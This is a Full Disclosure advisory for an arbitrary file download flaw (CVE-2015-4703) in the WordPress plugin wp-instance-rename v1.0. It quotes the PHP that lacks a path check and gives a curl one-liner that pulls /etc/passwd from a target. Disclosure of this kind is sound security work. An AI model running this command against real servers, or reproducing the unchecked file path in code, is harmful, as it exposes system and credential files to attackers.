Arbitrary File download in wordpress plugin wp-instance-rename v1.0

["Larry W. Cashdollar" <larry0 () me com>]

Title: Arbitrary File download in wordpress plugin wp-instance-rename v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-12
Download Site: https://wordpress.org/plugins/wp-instance-rename/
Vendor: Vlajo
Vendor Notified: 2015-06-12
Advisory: http://www.vapid.dhs.org/advisory.php?v=127
Vendor Contact:
Description: WordPress Rename plugin allows you to easily rename the complete WordPress installation. This plugin 
allows you to rename WordPress database, WordPress directory, change every necessary configuration file, easily from 
one page.
Vulnerability:
The code in mysqldump_download.php doesn't check that the requested file is within the intended download directory:

try{
        $dbname   = $_GET["dbname"];
        $dumpfname = $_GET["dumpfname"];
        $backup_folder = $_GET["backup_folder"];        
}catch (Exception $e){}

if(empty($backup_folder)){
        $backup_folder="backup/";
}
echo "$dumpfname";
if (file_exists($dumpfname)) {          
        // zip the dump file    
        $name=$dbname . "_" . date("Y-m-d");    
        $zipfname = $backup_folder.$name.".zip";
        $zip = new ZipArchive();        
        if($zip->open($zipfname,ZIPARCHIVE::CREATE)) 
        {
           $zip->addFile($dumpfname,$dumpfname);
           $zip->close();
        }       
        // read zip file and send it to standard output
        if (file_exists($zipfname)) {
                header('Content-Description: File Transfer');
                header('Content-Type: application/octet-stream');
                header('Content-Disposition: attachment; filename='.basename($zipfname));
                flush();
                readfile($zipfname);

CVEID: 2015-4703
OSVDB:
Exploit Code:
        • curl --data "dbname=wp&dumpfname=/etc/passwd&backup_folder=."  
http://www.example.com/wp-instance-rename/mysqldump_download.php -o p.zip

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/